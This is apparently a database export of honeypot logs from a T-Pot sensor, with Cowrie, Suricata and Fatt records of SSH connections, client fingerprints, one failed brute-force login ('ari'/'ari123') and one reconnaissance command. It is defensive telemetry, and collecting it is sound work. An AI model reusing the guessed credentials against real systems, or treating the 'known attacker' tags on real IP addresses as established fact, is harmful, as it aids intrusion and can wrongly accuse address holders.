30661	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:37:27.9294+03	2021-09-20 14:45:03.462142+03	{"_id": "Tgb_AnwBvYTbRNuEJz4P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:42627 (192.168.176.2:22) [session: a23095658473]", "session": "a23095658473", "@version": "1", "protocol": "ssh", "src_port": 42627, "dest_port": 22, "timestamp": "2021-09-20T11:37:27.929400Z", "@timestamp": "2021-09-20T11:37:27.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30662	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:37:27.932402+03	2021-09-20 14:45:03.463183+03	{"_id": "Twb_AnwBvYTbRNuEJz4P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a23095658473", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:37:27.932402Z", "@timestamp": "2021-09-20T11:37:27.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30663	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:37:27.988925+03	2021-09-20 14:45:03.465143+03	{"_id": "UAb_AnwBvYTbRNuEJz4P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a23095658473", "@version": "1", "timestamp": "2021-09-20T11:37:27.988925Z", "@timestamp": "2021-09-20T11:37:27.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30664	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:37:28.305865+03	2021-09-20 14:45:03.466143+03	{"_id": "UQb_AnwBvYTbRNuEJz4P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [ari/ari123] failed", "session": "a23095658473", "@version": "1", "password": "ari123", "username": "ari", "timestamp": "2021-09-20T11:37:28.305865Z", "@timestamp": "2021-09-20T11:37:28.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30665	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:37:27.98837+03	2021-09-20 14:45:03.467142+03	{"_id": "Ugb_AnwBvYTbRNuEKD6y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 535809828016205, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42627, "dest_port": 22, "timestamp": "2021-09-20T11:37:27.988370Z", "@timestamp": "2021-09-20T11:37:27.988Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31355	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:09.692669+03	2021-09-20 14:45:04.378142+03	{"_id": "VAYFA3wBvYTbRNuESkMq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:09.692669Z", "@timestamp": "2021-09-20T11:44:09.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
30666	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:37:27.988479+03	2021-09-20 14:45:03.46816+03	{"_id": "Uwb_AnwBvYTbRNuEKT7F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 42627, "dest_port": 22, "timestamp": "2021-09-20T11:37:27.988479", "@timestamp": "2021-09-20T11:37:27.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30667	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:37:29.445251+03	2021-09-20 14:45:03.469172+03	{"_id": "VQb_AnwBvYTbRNuEKj73", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:52466 (192.168.176.2:22) [session: 700d0251d17d]", "session": "700d0251d17d", "@version": "1", "protocol": "ssh", "src_port": 52466, "dest_port": 22, "timestamp": "2021-09-20T11:37:29.445251Z", "@timestamp": "2021-09-20T11:37:29.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30668	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:37:29.447995+03	2021-09-20 14:45:03.471173+03	{"_id": "Vwb_AnwBvYTbRNuEKj75", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "700d0251d17d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:37:29.447995Z", "@timestamp": "2021-09-20T11:37:29.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30669	46.101.115.211	109.199.241.180	Fatt	2021-09-20 14:37:29.477701+03	2021-09-20 14:45:03.472171+03	{"_id": "Wwb_AnwBvYTbRNuELT6t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 52466, "dest_port": 22, "timestamp": "2021-09-20T11:37:29.477701", "@timestamp": "2021-09-20T11:37:29.477Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30670	107.0.200.227	109.199.241.180	Suricata	2021-09-20 14:37:32.571737+03	2021-09-20 14:45:03.473171+03	{"_id": "bAb_AnwBvYTbRNuEOD5U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:37:32.298246+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1551183046806790, "payload": "AAADzAYULQC3ljV8AvQFii/h+Jw+2AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49942, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:37:32.571737Z", "@timestamp": "2021-09-20T11:37:32.571Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......-...5|..../...>....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30671	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:32.437937+03	2021-09-20 14:45:03.474176+03	{"_id": "bQb_AnwBvYTbRNuEOT5n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.0.200.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49942, "timestamp": "2021-09-20T11:37:32.437937", "@timestamp": "2021-09-20T11:37:32.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30672	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:37:32.572364+03	2021-09-20 14:45:03.476171+03	{"_id": "cAb_AnwBvYTbRNuEOj6a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "044d2270c05e", "@version": "1", "timestamp": "2021-09-20T11:37:32.572364Z", "@timestamp": "2021-09-20T11:37:32.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
